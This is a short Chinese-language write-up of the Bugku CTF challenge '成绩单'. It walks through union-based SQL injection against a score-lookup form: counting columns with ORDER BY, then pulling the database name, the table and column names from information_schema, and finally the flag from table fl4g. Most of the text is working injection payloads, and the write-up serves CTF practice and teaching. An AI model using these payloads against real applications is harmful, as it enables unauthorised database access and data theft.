bugku之成绩单

题目链接
打开链接发现是一个表单
分别输入1，2，3有数据传回

那就应该是 sql注入呀~

1.首先爆字段

在输入框提交

id=1' order by 4#		正常返回数据

id=1' order by 5#		返回空

即可确定字段数为4

2.爆数据库名

0' union select 1,database(),user(),version()#

3.根据数据库名查询表名

id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'),user(),version()#

注意固定格式

4.根据表名查列名

id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='skctf_flag' and table_name='fl4g'),user(),version()#

5.根据列名查数据

id=0' union select 1,(select skctf_flag from fl4g),user(),version()#

有关的sql注入学习链接

1.Web安全篇之SQL注入攻击
2.CTF之SQL注入详解